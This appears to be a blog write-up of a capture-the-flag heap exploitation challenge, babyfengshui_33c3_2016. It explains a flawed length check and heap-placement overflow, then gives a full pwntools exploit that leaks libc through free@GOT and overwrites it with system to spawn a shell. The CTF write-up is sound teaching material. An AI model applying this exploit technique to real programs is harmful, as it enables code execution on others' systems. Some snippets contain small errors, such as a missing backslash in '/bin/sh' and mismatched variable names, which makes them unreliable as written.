[BUUCTF]PWN——babyfengshui_33c3_2016

babyfengshui_33c3_2016

附件

步骤:

  1. 例行检查,32位程序,开启了cannary和nx
    在这里插入图片描述
  2. 本地运行一下看看大概的情况,熟悉的堆的菜单布局
    在这里插入图片描述
  3. 32位ida载入,看main函数
    在这里插入图片描述
    add
    在这里插入图片描述
    update
    在这里插入图片描述
    delete
    在这里插入图片描述
    display
    在这里插入图片描述
  4. 先随便申请几个堆,看一下布局
add(0x80, 'name1', 0x80, 'aaa')
add(0x80, 'name2', 0x80, 'bbb')
add(0x80, 'name3', 0x80, 'ccc')
gdb.attach(p)

在这里插入图片描述

和我们上面分析的一样,堆的布局是text_chunk + name_chunk
上面看到了update在判断长度的时候存在问题,
看堆布局以chunk0来说,判断条件就是:`0x083e300+0x80>=0x83e3008`
但是,有一个问题就是,chunk0和chunk0(name)其实不一定是相邻的,这样的话就有了实现溢出的可能
  1. 这样就好办了,先随便申请几个堆块(我申请了3个),然后释放掉chunk0,在申请一个chunk,这样新申请的new_text_chunk就会在chunk1之前,new_name_chunk在chunk2之后,这之间的距离可大了,所以我们可以输入很长的数据。
add(0x80,"nam1",0x80,"aaaa")
add(0x80,"nam2",0x80,"bbbb")
add(0x80,"nam3",0x80,"/bin/shx00")
delete(0)
add(0x100,'nam1',0x100,"cccc")
gdb.attach(p)

图太大就不放全了,可以自己调试看一下堆布局
在这里插入图片描述
6. 上述代码中可以看到,name_chunk中存放着text_chunk的指针,将name_chunk1处存储的chunk1指针改成free_got的地址,这样就泄露了libc版本,可以直到system函数的实际地址了

payload='a'*0x108+'a'*0x8+'a'*0x80+'a'*0x8+p32(free_got)
update(3,0x200,payload)
show(1)
r.recvuntil("description: ")
free_addr=u32(r.recv(4))
libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.dump("free")
system_addr=libc_base+libc.dump("system")
  1. 我们之前往chunk2中写入了’/bin/sh‘,现在将free的地址改写为system的地址,这样在执行free(chunk2)的时候就变成了执行system(’/bin/sh’)这样就可以获取shell了
update(1,0x80,p32(system_addr))
delete(2)

完整EXP

from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#p=remote("node3.buuoj.cn",27725)
p=process('./babyfengshui_33c3_2016')
elf=ELF('./babyfengshui_33c3_2016')

free_got=elf.got['free']

def add(size,name,length,text):
	p.recvuntil("Action: ")
	p.sendline("0")
	p.sendlineafter("size of description: ",str(size))
	p.sendlineafter("name: ",name)
	p.recvuntil("text length:")
	p.sendline(str(length))
	p.recvuntil("text:")
	p.sendline(text)
def delete(index):
	p.recvuntil("Action: ")
	p.sendline("1")
	p.recvuntil("index: ")
	p.sendline(str(index))
def show(index):
	p.recvuntil("Action: ")
	p.sendline("2")
	p.recvuntil("index: ")
	p.sendline(str(index))
def update(index,length,text):
	p.recvuntil("Action: ")
	p.sendline("3")
	p.recvuntil("index: ")
	p.sendline(str(index))
	p.recvuntil("text length: ")
	p.sendline(str(length))
	p.recvuntil("text: ")
	p.sendline(text)

add(0x80,"nam1",0x80,"aaaa")
add(0x80,"nam2",0x80,"bbbb")
add(0x80,"nam3",0x80,"/bin/shx00")
delete(0)
add(0x100,'nam1',0x100,"cccc")

payload='a'*0x108+'a'*0x8+'a'*0x80+'a'*0x8+p32(free_got)
update(3,0x200,payload)
show(1)
p.recvuntil("description: ")
free_addr=u32(p.recv(4))
libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.dump("free")
system_addr=libc_base+libc.dump("system")

update(1,0x80,p32(system_addr))
delete(2)
p.interactive()

参考wp:
https://blog.csdn.net/weixin_45677731/article/details/108093060

原文地址:https://www.cnblogs.com/xlrp/p/14273613.html